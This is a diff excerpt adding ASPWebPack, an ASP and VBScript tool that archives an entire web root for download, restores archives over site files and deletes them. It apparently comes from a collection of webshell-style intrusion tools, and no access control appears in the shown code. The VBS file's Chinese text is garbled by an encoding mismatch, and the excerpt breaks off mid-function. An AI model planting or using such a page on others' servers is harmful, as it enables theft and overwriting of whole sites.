Echo "<table class=tab-content id=tb cellspacing=5 cellpadding=0 width=100% align=center border=0 name=tb>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td class=td_heading valign=top>"
|
||||||
|
Echo "<table width=100% border=0 align=center cellpadding=0 cellspacing=0>"
|
||||||
|
Echo "<form id=Frm_Pack name=Frm_Pack method=post action=""" & ScriptName & """>"
|
||||||
|
Echo "<input type=hidden name=Action value=Pack />"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td height=32>操作物理路径:</td>"
|
||||||
|
Echo "<td>"
|
||||||
|
Echo "<input size=40 type=text name=Path value="""&server.MapPath("/")&""" /></td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td height=32>当前物理路径:</td>"
|
||||||
|
Echo "<td>"&server.MapPath("./")&"</td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td height=32>要过滤的格式:</td>"
|
||||||
|
Echo "<td>"
|
||||||
|
Echo "<input size=40 type=text name=OutExt value=""rar,zip,iso,mp3"" /></td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td height=32>只下载的格式:</td>"
|
||||||
|
Echo "<td>"
|
||||||
|
Echo "<input size=40 type=text name=OnlyExt value="""" /></td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td height=32>限制文件大小(k):</td>"
|
||||||
|
Echo "<td>"
|
||||||
|
Echo "<input size=40 type=text name=MaxSize value=""1000"" /></td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td height=32>压缩包文件名:</td>"
|
||||||
|
Echo "<td>"
|
||||||
|
Echo "<input size=28 type=text name=FileName value="&request.ServerVariables("HTTP_HOST")&" /> "
|
||||||
|
Echo "<a onclick=sztime() href=#><font color=#0000ff>按时间改名</font></a>"
|
||||||
|
Echo "</td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td height=32 align=center colspan=2>"
|
||||||
|
Echo "<input type=submit name=Submit value=打包数据 /></td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "</form>"
|
||||||
|
Echo "</table>"
|
||||||
|
Echo "<script language=""javascript"">"
|
||||||
|
Echo "function sztime(i){"
|
||||||
|
Echo "var Digital=new Date();"
|
||||||
|
Echo "var year=Digital.getYear();"
|
||||||
|
Echo "var month=Digital.getMonth();"
|
||||||
|
Echo "var date=Digital.getDate();"
|
||||||
|
Echo "var hours=Digital.getHours();"
|
||||||
|
Echo "var minutes=Digital.getMinutes();"
|
||||||
|
Echo "var seconds=Digital.getSeconds();"
|
||||||
|
Echo "document.Frm_Pack.FileName.value=""""+year+""-""+(month+1)+""-""+date+""(""+hours+minutes+seconds+"")"";"
|
||||||
|
Echo "}"
|
||||||
|
Echo "</script>"
|
||||||
|
Echo "<!--数据打包--></td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "</table>"
|
||||||
|
Echo "<table class=hide-table id=tb cellspacing=5 cellpadding=0 width=100% align=center border=0 name=tb>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td class=td_heading valign=top>"
|
||||||
|
Echo "<table width=100% border=0 align=center cellpadding=0 cellspacing=0>"
|
||||||
|
Echo "<form id=Frm_Recover name=Frm_Recover onsubmit=""return confirm('原文件将会被覆盖,确实要解压该文件到指定目录?')"" method=post action="""&ScriptName&""">"
|
||||||
|
Echo "<input type=hidden name=Action value=Recover />"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td height=32>操作物理路径:</td>"
|
||||||
|
Echo "<td>"
|
||||||
|
Echo "<input size=40 type=text name=Path value="""&server.MapPath("/")&""" /></td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td height=32>当前物理路径:</td>"
|
||||||
|
Echo "<td>"&server.MapPath("./")&"</td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td height=32>压缩包文件名:</td>"
|
||||||
|
Echo "<td><select name=FileName>"&GetFileList("./")&"</select></td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td height=32 align=center colspan=2>"
|
||||||
|
Echo "<input type=submit name=Submit value=恢复数据 /></td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "</form>"
|
||||||
|
Echo "</table>"
|
||||||
|
Echo "<!-- 恢复数据 --></td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "</td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "</table>"
|
||||||
|
Echo "<table class=hide-table id=tb cellspacing=5 cellpadding=0 width=100% align=center border=0 name=tb>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td class=td_heading valign=top>"
|
||||||
|
Echo "<table width=100% border=0 align=center cellpadding=0 cellspacing=0>"
|
||||||
|
Echo "<form id=Frm_Delete name=Frm_Delete onsubmit=""return confirm('确认要删除文件?')"" method=post action='" & ScriptName & "'>"
|
||||||
|
Echo "<input type=hidden name=Action value=Delete />"
|
||||||
|
Echo "<tr><td height=32>压缩包文件名:</td></tr>"
|
||||||
|
Echo "<tr><td height=32><select style=width: 100% name=FileName>" & GetFileList("./") & "</select> </td></tr>"
|
||||||
|
Echo "<tr><td height=32> </td></tr>"
|
||||||
|
Echo "<tr><td height=32 align=center colspan=2>"
|
||||||
|
Echo "<input type=submit name=Submit value=删除数据 /> "
|
||||||
|
Echo "<input type=button name=Submit onclick=""document.location ='" & ScriptName &"?down='+document.Frm_Delete.all('FileName').value;"" value=下载数据 /></td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "</form>"
|
||||||
|
Echo "</table>"
|
||||||
|
Echo "</td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "</table>"
|
||||||
|
Echo "<table class=hide-table id=tb cellspacing=5 cellpadding=0 width=100% align=center border=0 name=tb>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td class=td_heading valign=top>"
|
||||||
|
Echo "<div align=center><b>ASPWebPack - 整站文件打包/恢复系统 "&Ver&"</b></div>"
|
||||||
|
Echo "<br />"
|
||||||
|
Echo "<div>拥有了 ASPWebPack,上传更新网站,您只需一步即可完成。</div>"
|
||||||
|
Echo "<div>原创作者:Cool-Co [YuLv] 联系方法:QQ:1240041</div>"
|
||||||
|
Echo "<div>程序改进:陆羽</div>"
|
||||||
|
Echo "<div>我的Blog:<a href=http://www.5luyu.cn target=""_blank"">http://www.5luyu.cn</a></div>"
|
||||||
|
Echo "<div>程序版本:"&Ver&" </div>"
|
||||||
|
Echo "<br/>"
|
||||||
|
Echo "<div>组件支持情况检测</div>"
|
||||||
|
Echo "<div>"
|
||||||
|
on error resume next
|
||||||
|
err.clear
|
||||||
|
Call Server.CreateObject("Scripting.Dictionary")
|
||||||
|
Echo "Scripting.Dictionary: "
|
||||||
|
if Err Then
|
||||||
|
Echo "<font color='red'><b>×</b></font>"
|
||||||
|
else
|
||||||
|
Echo "<font color='green'><b>√</b></font>"
|
||||||
|
End if
|
||||||
|
Echo "<br/>"
|
||||||
|
err.clear
|
||||||
|
Call Server.CreateObject("Scripting.FileSystemObject")
|
||||||
|
Echo "Scripting.FileSystemObject: "
|
||||||
|
if Err Then
|
||||||
|
Echo "<font color='red'><b>×</b></font>"
|
||||||
|
else
|
||||||
|
Echo "<font color='green'><b>√</b></font>"
|
||||||
|
End if
|
||||||
|
Echo "<br/>"
|
||||||
|
err.clear
|
||||||
|
Call server.CreateObject("ADODB.Stream")
|
||||||
|
Echo "ADODB.Stream: "
|
||||||
|
if Err Then
|
||||||
|
Echo "<font color='red'><b>×</b></font>"
|
||||||
|
else
|
||||||
|
Echo "<font color='green'><b>√</b></font>"
|
||||||
|
End if
|
||||||
|
'Echo "<br/>"
|
||||||
|
err.clear
|
||||||
|
on error goto 0
|
||||||
|
Echo "</div>"
|
||||||
|
Echo "<br />更新内容:"
|
||||||
|
Echo "<div>修正文件类型过滤忘记调用的问题!</div>"
|
||||||
|
Echo "<div>提供本地VBS解压程序,省去本地IIS环境!(感谢lcx大牛)</div>"
|
||||||
|
Echo "<div>解决了之前提示cint错误文件大小超过int类型限制,改用ccur!</div>"
|
||||||
|
Echo "<div>添加只下载的格式支持,当只要下载一种或几种格式的时候输入!</div>"
|
||||||
|
Echo "<div>输入只下载格式后,原有限制格式框输入的内容自动失效!</div>"
|
||||||
|
Echo "<br />"
|
||||||
|
Echo "</td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "</table>"
|
||||||
|
end sub
|
||||||
|
|
||||||
|
Rem ##########################
|
||||||
|
Rem # 打包文件
|
||||||
|
Rem ##########################
|
||||||
|
Sub sub_Pack(byVal sPath)
|
||||||
|
Response.Flush
|
||||||
|
Dim FileName
|
||||||
|
filename = Request("FileName")
|
||||||
|
If sPath = "" Then
|
||||||
|
Echo("<script>alert('请输入路径!');</script>")
|
||||||
|
response.End()
|
||||||
|
End If
|
||||||
|
If filename = "" Then
|
||||||
|
Echo("<script>alert('请输入文件名!');</script>")
|
||||||
|
response.End()
|
||||||
|
End If
|
||||||
|
if LCase(Right(FileName,Len(FileExt)))<>LCase(FileExt) Then
|
||||||
|
FileName = FileName & LCase(FileExt)
|
||||||
|
End If
|
||||||
|
Echo "<script language=""javascript"" >"
|
||||||
|
Echo "fn.innerText='" & Replace(Server.MapPath(filename),"\","\\") & "';"
|
||||||
|
Echo "</script>"
|
||||||
|
Dim r
|
||||||
|
Set r = New CCPack
|
||||||
|
r.rootpath = sPath
|
||||||
|
r.AddDir sPath
|
||||||
|
r.packname = Server.MapPath(filename)
|
||||||
|
r.Pack
|
||||||
|
if err then
|
||||||
|
Response.clear
|
||||||
|
Echo("<script>alert('" & Err.Description & "');</script>")
|
||||||
|
Response.End
|
||||||
|
end if
|
||||||
|
Set r = Nothing
|
||||||
|
Echo("<script>alert('打包数据成功!');</script>")
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Rem ##########################
|
||||||
|
Rem # 解压打包
|
||||||
|
Rem ##########################
|
||||||
|
Sub sub_Recover(ByVal sPath)
|
||||||
|
Response.Flush
|
||||||
|
Dim FileName
|
||||||
|
filename = Request("FileName")
|
||||||
|
If sPath = "" Then
|
||||||
|
Echo("<script>alert('请输入路径!');history.back(-1);</script>")
|
||||||
|
response.End()
|
||||||
|
End If
|
||||||
|
If filename = "" Then
|
||||||
|
Echo("<script>alert('请选择压缩包文件名!');history.back(-1);</script>")
|
||||||
|
response.End()
|
||||||
|
End If
|
||||||
|
Echo "<script language=""javascript"" >"
|
||||||
|
Echo "fn.innerText='" & Replace(Server.MapPath(filename),"\","\\") & "';"
|
||||||
|
Echo "</script>"
|
||||||
|
|
||||||
|
Dim fso
|
||||||
|
Set fso = Server.CreateObject("Scripting.FileSystemObject")
|
||||||
|
If Not fso.FileExists(Server.MapPath(filename)) Then
|
||||||
|
Echo("<script>alert('此压缩包文件名不存在!');history.back(-1);</script>")
|
||||||
|
response.End()
|
||||||
|
End If
|
||||||
|
Set fso = Nothing
|
||||||
|
|
||||||
|
Dim r
|
||||||
|
Set r = New CCPack
|
||||||
|
r.rootpath = sPath
|
||||||
|
r.packname = Server.MapPath(filename)
|
||||||
|
r.UnPack
|
||||||
|
Echo(Err.Description)
|
||||||
|
Set r = Nothing
|
||||||
|
Echo("<script>alert('恢复数据成功!');</script>")
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Rem ##########################
|
||||||
|
Rem # 删除打包文件
|
||||||
|
Rem ##########################
|
||||||
|
Sub sub_Delete()
|
||||||
|
Response.Flush
|
||||||
|
Dim FileName
|
||||||
|
filename = Request("FileName")
|
||||||
|
If filename = "" Then
|
||||||
|
Echo("<script>alert('请输入文件名!');history.back(-1);</script>")
|
||||||
|
response.End()
|
||||||
|
End If
|
||||||
|
if LCase(Right(FileName,Len(FileExt)))<>LCase(FileExt) Then
|
||||||
|
FileName = FileName & LCase(FileExt)
|
||||||
|
End If
|
||||||
|
Call DeleteFile(filename)
|
||||||
|
Echo("<script>alert('打包文件删除成功!');</script>")
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
|
||||||
|
Rem ##########################
|
||||||
|
Rem # 取得文件列表 For Select
|
||||||
|
Rem ##########################
|
||||||
|
function GetFileList(byVal sPath)
|
||||||
|
Dim fso, f, fc
|
||||||
|
Set fso = Server.CreateObject("Scripting.FileSystemObject")
|
||||||
|
Set f = fso.GetFolder(server.MapPath(sPath))
|
||||||
|
For Each fc in f.Files
|
||||||
|
if Right(lcase(fc.Name),Len(FileExt))=lCase(FileExt) then
|
||||||
|
GetFileList = GetFileList & "<option value="""&fc.Name&""" >"&fc.Name&"</option>"
|
||||||
|
end if
|
||||||
|
Next
|
||||||
|
if len(GetFileList)=0 Then
|
||||||
|
GetFileList = GetFileList & "<option value="""" selected=""selected"" >没有文件</option>"
|
||||||
|
End If
|
||||||
|
Set fc = Nothing
|
||||||
|
Set f = Nothing
|
||||||
|
Set fso = Nothing
|
||||||
|
end function
|
||||||
|
|
||||||
|
Function Init(byval rootpath)
|
||||||
|
Set fso = Server.CreateObject("Scripting.FileSystemObject")
|
||||||
|
If Not fso.FolderExists(rootpath) Then
|
||||||
|
fso.CreateFolder(rootpath)
|
||||||
|
End If
|
||||||
|
Set fso = Nothing
|
||||||
|
End Function
|
||||||
|
|
||||||
|
'==================================================
|
||||||
|
'过程名:DeleteFile
|
||||||
|
'作 用:删除文件
|
||||||
|
'参 数:Url ------ 远程文件URL
|
||||||
|
'==================================================
|
||||||
|
Function DeleteFile(Byval url)
|
||||||
|
Dim fso
|
||||||
|
Set fso = CreateObject("Scripting.FileSystemObject")
|
||||||
|
If (fso.FileExists(server.MapPath(url))) Then
|
||||||
|
fso.DeleteFile(server.MapPath(url))
|
||||||
|
End If
|
||||||
|
Set fso = Nothing
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Sub echo(s)
|
||||||
|
Response.Write(s&vbcrlf)
|
||||||
|
End Sub
|
||||||
|
'==================================================
|
||||||
|
'类 名:CCPack
|
||||||
|
'作 用:asp打包类
|
||||||
|
'来 源:CSDN
|
||||||
|
'修 改:Cool-Co
|
||||||
|
'说 明: Unicode版
|
||||||
|
'==================================================
|
||||||
|
Class CCPack
|
||||||
|
Dim Files, packname, rootpath, fso, NotExt
|
||||||
|
|
||||||
|
Private Sub Class_Initialize
|
||||||
|
Randomize
|
||||||
|
Dim ranNum
|
||||||
|
ranNum = Int(90000 * Rnd) + 10000
|
||||||
|
packname = Year(Now)&Month(Now)&Day(Now)&Hour(Now)&Minute(Now)&Second(Now)&ranNum&".asp"&Year(Now)
|
||||||
|
rootpath = Server.MapPath("./")
|
||||||
|
Set Files = server.CreateObject("Scripting.Dictionary")
|
||||||
|
Set fso = Server.CreateObject("Scripting.FileSystemObject")
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Private Sub Class_Terminate
|
||||||
|
Set fso = Nothing
|
||||||
|
Set Files =Nothing
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
'添加该文件夹下的所有文件夹及文件
|
||||||
|
Public Sub AddDir(byval obj)
|
||||||
|
Dim f, subf
|
||||||
|
If fso.FolderExists(obj) Then
|
||||||
|
Set f = fso.GetFolder(obj)
|
||||||
|
'添加本文件夹
|
||||||
|
Add(f.Path)
|
||||||
|
'遍历子文件夹
|
||||||
|
For Each subf in f.SubFolders
|
||||||
|
AddDir(subf.Path)
|
||||||
|
Next
|
||||||
|
Set subf = Nothing
|
||||||
|
Set f = Nothing
|
||||||
|
End If
|
||||||
|
End Sub
|
||||||
|
'判断要过滤的扩展名
|
||||||
|
Public Function CheckExt(byval obj)
|
||||||
|
OnlyExt=Request("OnlyExt")
|
||||||
|
if OnlyExt<>"" then
|
||||||
|
TempPath=split(OnlyExt,",")
|
||||||
|
For i=0 to Ubound(TempPath)
|
||||||
|
if mid(obj,InStrRev(obj, ".")+1)<>TempPath(i) then
|
||||||
|
CheckExt=false
|
||||||
|
else
|
||||||
|
CheckExt=true
|
||||||
|
exit for
|
||||||
|
end if
|
||||||
|
Next
|
||||||
|
else
|
||||||
|
TempPath=split(Request("OutExt"),",")
|
||||||
|
For i=0 to Ubound(TempPath)
|
||||||
|
if mid(obj,InStrRev(obj, ".")+1)<>TempPath(i) then
|
||||||
|
CheckExt=true
|
||||||
|
else
|
||||||
|
CheckExt=false
|
||||||
|
exit for
|
||||||
|
end if
|
||||||
|
Next
|
||||||
|
end if
|
||||||
|
End Function
|
||||||
|
'判断文件大小是否超出范围
|
||||||
|
Public Function CheckSize(byval obj)
|
||||||
|
MaxFileSize=int(Request("MaxSize"))
|
||||||
|
if ccur(obj/1024)>MaxFileSize then
|
||||||
|
CheckSize=false
|
||||||
|
else
|
||||||
|
CheckSize=true
|
||||||
|
end if
|
||||||
|
End Function
|
||||||
|
'添加单个文件或单个文件夹及该文件夹下的所有文件
|
||||||
|
Public Sub Add(byval obj)
|
||||||
|
Dim f, fc
|
||||||
|
If fso.FileExists(obj) Then
|
||||||
|
Set f = fso.GetFile(obj)
|
||||||
|
Files.Add obj, f.Size
|
||||||
|
ElseIf fso.FolderExists(obj) Then
|
||||||
|
Files.Add obj, -1
|
||||||
|
Set f = fso.GetFolder(obj)
|
||||||
|
For Each fc in f.Files
|
||||||
|
If CheckSize(fc.Size) and CheckExt(fc.Name) then
|
||||||
|
Add(fc.Path)
|
||||||
|
end if
|
||||||
|
Next
|
||||||
|
Set fc = Nothing
|
||||||
|
Set f = Nothing
|
||||||
|
End If
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
'打包
|
||||||
|
Public Sub Pack()
|
||||||
|
Dim Str, ObjPack, ObjRead, a, b, buf,bf,FileDB,FDBLen
|
||||||
|
Set ObjPack= server.CreateObject("ADODB.Stream")
|
||||||
|
Set ObjRead= server.CreateObject("ADODB.Stream")
|
||||||
|
ObjPack.Open
|
||||||
|
ObjRead.Open
|
||||||
|
ObjPack.Type = 1
|
||||||
|
ObjRead.Type = 1
|
||||||
|
a = Files.Keys
|
||||||
|
b = Files.Items
|
||||||
|
bf=((Files.Count) +1)/100
|
||||||
|
For i = 0 To Files.Count -1
|
||||||
|
|
||||||
|
If b(i)> 0 Then
|
||||||
|
ObjPack.LoadFromFile(a(i))
|
||||||
|
If Not ObjPack.EOS Then ObjRead.Write(ObjPack.Read)
|
||||||
|
End If
|
||||||
|
If b(i) = -1 Then a(i)=a(i) & "\"
|
||||||
|
a(i) = replace(a(i),rootpath,"\",1,-1,1)
|
||||||
|
a(i) = replace(a(i),"\\","\",1,-1,1)
|
||||||
|
FileDB = FileDB & b(i) & ">" & a(i) & "*"
|
||||||
|
|
||||||
|
Echo "<script language=""javascript"" >"
|
||||||
|
Echo "f.innerText='" & Replace(a(i),"\","\\") & "';"
|
||||||
|
Echo "p.innerText='" & clng(i / bf) & "%';"
|
||||||
|
Echo "n.innerText='" & (i+1) & "/" & Files.Count & "';"
|
||||||
|
Echo "</script>"
|
||||||
|
Response.Flush
|
||||||
|
Rem 用户终止
|
||||||
|
If Not Response.IsClientConnected Then Exit For
|
||||||
|
Next
|
||||||
|
FDBLen = LenB(FileDB)
|
||||||
|
Str = CStr(Strright("000000000" & FDBLen, 10)) & FileDB
|
||||||
|
buf = TextToStream(Str)
|
||||||
|
ObjPack.Position = 0
|
||||||
|
ObjPack.Write buf
|
||||||
|
ObjRead.Position = 0
|
||||||
|
Do While Not ObjRead.EOS
|
||||||
|
ObjPack.Write ObjRead.Read(1024*64)
|
||||||
|
Rem 用户终止
|
||||||
|
If Not Response.IsClientConnected Then Exit Do
|
||||||
|
Loop
|
||||||
|
ObjPack.SetEOS
|
||||||
|
ObjPack.SaveToFile(packname), 2
|
||||||
|
Set buf = Nothing
|
||||||
|
Set ObjRead= Nothing
|
||||||
|
Set ObjPack= Nothing
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
'解压
|
||||||
|
Public Sub UnPack
|
||||||
|
Dim Size, ObjPack, ObjWrite, arr, i, buf,bf
|
||||||
|
If Not fso.FolderExists(rootpath) Then
|
||||||
|
fso.CreateFolder(rootpath)
|
||||||
|
End If
|
||||||
|
Set ObjPack = server.CreateObject("ADODB.Stream")
|
||||||
|
Set ObjWrite= server.CreateObject("ADODB.Stream")
|
||||||
|
ObjPack.Open
|
||||||
|
ObjWrite.Open
|
||||||
|
ObjPack.Type = 1
|
||||||
|
ObjWrite.Type = 1
|
||||||
|
'转换文件大小
|
||||||
|
ObjPack.LoadFromFile(packname)
|
||||||
|
ObjPack.Position=0
|
||||||
|
if not IsNumeric(StreamToText(ObjPack.Read(22))) then
|
||||||
|
Echo("<script>alert('文件格式不正确,系统无法解压!');</script>")
|
||||||
|
response.End
|
||||||
|
Else
|
||||||
|
ObjPack.Position=0
|
||||||
|
End if
|
||||||
|
Size = Clng(StreamToText(ObjPack.Read(22)))
|
||||||
|
arr = Split(StreamToText(ObjPack.Read(Size)), "*")
|
||||||
|
bf=( (UBound(arr)) +1)/100
|
||||||
|
For i = 0 To UBound(arr) -1
|
||||||
|
arrFile = Split(arr(i), ">")
|
||||||
|
If arrFile(0) < 0 Then
|
||||||
|
myfind(rootpath&arrFile(1))'确保文件存在
|
||||||
|
ElseIf arrFile(0) >= 0 Then
|
||||||
|
ObjWrite.Position = 0
|
||||||
|
buf = ObjPack.Read(arrFile(0))
|
||||||
|
If Not IsNull(buf) Then ObjWrite.Write(buf)
|
||||||
|
ObjWrite.SetEOS
|
||||||
|
ObjWrite.SaveToFile(rootpath&arrFile(1)), 2
|
||||||
|
End If
|
||||||
|
Echo "<script>"
|
||||||
|
Echo "f.innerText='" & Replace(rootpath & arrFile(1),"\","\\") & "';"
|
||||||
|
Echo "p.innerText='" & clng(i / bf) & "%';"
|
||||||
|
Echo "n.innerText='" & (i+1) & "/" & UBound(arr) & "';"
|
||||||
|
Echo "</script>"
|
||||||
|
Echo vbcrlf
|
||||||
|
Response.Flush
|
||||||
|
Rem 用户终止
|
||||||
|
If Not Response.IsClientConnected Then Exit for
|
||||||
|
Next
|
||||||
|
Set buf = Nothing
|
||||||
|
Set ObjWrite = Nothing
|
||||||
|
Set ObjPack = Nothing
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
'Stream Text 互换
|
||||||
|
Public Function StreamToText(byval stream)
|
||||||
|
Dim sm
|
||||||
|
If IsNull(stream) Then
|
||||||
|
StreamToText = ""
|
||||||
|
Else
|
||||||
|
Set sm = server.CreateObject("ADODB.Stream")
|
||||||
|
sm.Open
|
||||||
|
sm.Type = 1
|
||||||
|
sm.Write(stream)
|
||||||
|
sm.Position = 0
|
||||||
|
sm.Type = 2
|
||||||
|
sm.Position = 0
|
||||||
|
StreamToText = sm.ReadText()
|
||||||
|
sm.Close
|
||||||
|
Set sm = Nothing
|
||||||
|
End If
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Public Function TextToStream(byval text)
|
||||||
|
Dim sm
|
||||||
|
If text = "" Then
|
||||||
|
TextToStream = "" '空流
|
||||||
|
Else
|
||||||
|
Set sm = server.CreateObject("ADODB.Stream")
|
||||||
|
sm.Open
|
||||||
|
sm.Type = 2
|
||||||
|
sm.WriteText(text)
|
||||||
|
sm.Position = 0
|
||||||
|
sm.Type = 1
|
||||||
|
sm.Position = 0
|
||||||
|
TextToStream = sm.Read
|
||||||
|
sm.Close
|
||||||
|
Set sm = Nothing
|
||||||
|
End If
|
||||||
|
End Function
|
||||||
|
|
||||||
|
'解压时 确保文件夹存在myfind,myfso
|
||||||
|
Function myfso(byval Path)
|
||||||
|
Dim f
|
||||||
|
If Not fso.FolderExists(Path) Then
|
||||||
|
Set f = fso.CreateFolder(Path)
|
||||||
|
End If
|
||||||
|
Set f = Nothing
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Function myfind(byval Path)
|
||||||
|
Dim paths, subpath, i
|
||||||
|
'在目录后加(\)
|
||||||
|
If Right(Path, 1)<>"\" Then Path = Path&"\"
|
||||||
|
Path = Replace(Replace(Path, "/", "\"), "\\", "\")
|
||||||
|
paths = Split(Path, "\")
|
||||||
|
For i = 0 To UBound(paths) -1
|
||||||
|
subpath = subpath & paths(i) & "\"
|
||||||
|
If CStr(Left(subpath, Len(rootpath))) = CStr(rootpath) Then
|
||||||
|
myfso(subpath)
|
||||||
|
End If
|
||||||
|
Next
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Function Strright(byval Str, byval L)
|
||||||
|
Dim Temp_Str, I, Test_Str
|
||||||
|
Temp_Str = Len(Str)
|
||||||
|
For i = Temp_Str To 1 step -1
|
||||||
|
Test_Str = (Mid(Str, I, 1))
|
||||||
|
Strright = Test_Str&Strright
|
||||||
|
If Asc(Test_Str)>0 Then
|
||||||
|
lens = lens + 1
|
||||||
|
Else
|
||||||
|
lens = lens + 2
|
||||||
|
End If
|
||||||
|
If lens>= L Then Exit For
|
||||||
|
Next
|
||||||
|
End Function
|
||||||
|
function iif(expression,returntrue,returnfalse)
|
||||||
|
if expression=0 then
|
||||||
|
iif=returnfalse
|
||||||
|
else
|
||||||
|
iif=returntrue
|
||||||
|
end if
|
||||||
|
end function
|
||||||
|
End Class
|
||||||
|
%>
|
||||||
153
net-friend/asp/陆羽asp打包/unpack.vbs
Normal file
153
net-friend/asp/陆羽asp打包/unpack.vbs
Normal file
@@ -0,0 +1,153 @@
|
|||||||
|
Dim r
|
||||||
|
Set r = New CCPack
|
||||||
|
r.rootpath = "E:\TDDOWNLOAD\" '<27>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ѹĿ¼
|
||||||
|
r.packname = "E:\TDDOWNLOAD\112-5-6(22817).rar" '<27>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
r.UnPack
|
||||||
|
wsh.echo(Err.Description)
|
||||||
|
Set r = Nothing
|
||||||
|
msgbox("<22>ָ<EFBFBD><D6B8>ɹ<EFBFBD>!")
|
||||||
|
|
||||||
|
Class CCPack
|
||||||
|
Dim Files, packname, rootpath, fso, NotExt
|
||||||
|
|
||||||
|
Private Sub Class_Initialize
|
||||||
|
Randomize
|
||||||
|
Dim ranNum
|
||||||
|
ranNum = Int(90000 * Rnd) + 10000
|
||||||
|
Set Files = CreateObject("Scripting.Dictionary")
|
||||||
|
Set fso = CreateObject("Scripting.FileSystemObject")
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Private Sub Class_Terminate
|
||||||
|
Set fso = Nothing
|
||||||
|
Set Files =Nothing
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
|
||||||
|
'<27><>ѹ
|
||||||
|
Public Sub UnPack
|
||||||
|
Dim Size, ObjPack, ObjWrite, arr, i, buf,bf
|
||||||
|
If Not fso.FolderExists(rootpath) Then
|
||||||
|
fso.CreateFolder(rootpath)
|
||||||
|
End If
|
||||||
|
Set ObjPack = CreateObject("ADODB.Stream")
|
||||||
|
Set ObjWrite= CreateObject("ADODB.Stream")
|
||||||
|
ObjPack.Open
|
||||||
|
ObjWrite.Open
|
||||||
|
ObjPack.Type = 1
|
||||||
|
ObjWrite.Type = 1
|
||||||
|
'ת<><D7AA><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||||
|
ObjPack.LoadFromFile(packname)
|
||||||
|
ObjPack.Position=0
|
||||||
|
if not IsNumeric(StreamToText(ObjPack.Read(22))) then
|
||||||
|
msgbox("<22>ļ<EFBFBD><C4BC><EFBFBD>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD>ȷ,ϵͳ<CFB5><EFBFBD><DEB7><EFBFBD>ѹ!")
|
||||||
|
response.End
|
||||||
|
Else
|
||||||
|
ObjPack.Position=0
|
||||||
|
End if
|
||||||
|
Size = Clng(StreamToText(ObjPack.Read(22)))
|
||||||
|
arr = Split(StreamToText(ObjPack.Read(Size)), "*")
|
||||||
|
bf=( (UBound(arr)) +1)/100
|
||||||
|
For i = 0 To UBound(arr) -1
|
||||||
|
arrFile = Split(arr(i), ">")
|
||||||
|
If arrFile(0) < 0 Then
|
||||||
|
myfind(rootpath&arrFile(1))'ȷ<><C8B7><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
ElseIf arrFile(0) >= 0 Then
|
||||||
|
ObjWrite.Position = 0
|
||||||
|
buf = ObjPack.Read(arrFile(0))
|
||||||
|
If Not IsNull(buf) Then ObjWrite.Write(buf)
|
||||||
|
ObjWrite.SetEOS
|
||||||
|
ObjWrite.SaveToFile(rootpath&arrFile(1)), 2
|
||||||
|
End If
|
||||||
|
wsh.echo "<22><>ǰ<EFBFBD>ļ<EFBFBD>:" & rootpath & arrFile(1)
|
||||||
|
wsh.echo "<22><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>:" & (i+1) & "/" & UBound(arr)
|
||||||
|
wsh.echo "<22><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>:" &clng(i / bf) & "%"
|
||||||
|
wsh.echo vbcrlf
|
||||||
|
Next
|
||||||
|
Set buf = Nothing
|
||||||
|
Set ObjWrite = Nothing
|
||||||
|
Set ObjPack = Nothing
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
'Stream Text <20><><EFBFBD><EFBFBD>
|
||||||
|
Public Function StreamToText(byval stream)
|
||||||
|
Dim sm
|
||||||
|
If IsNull(stream) Then
|
||||||
|
StreamToText = ""
|
||||||
|
Else
|
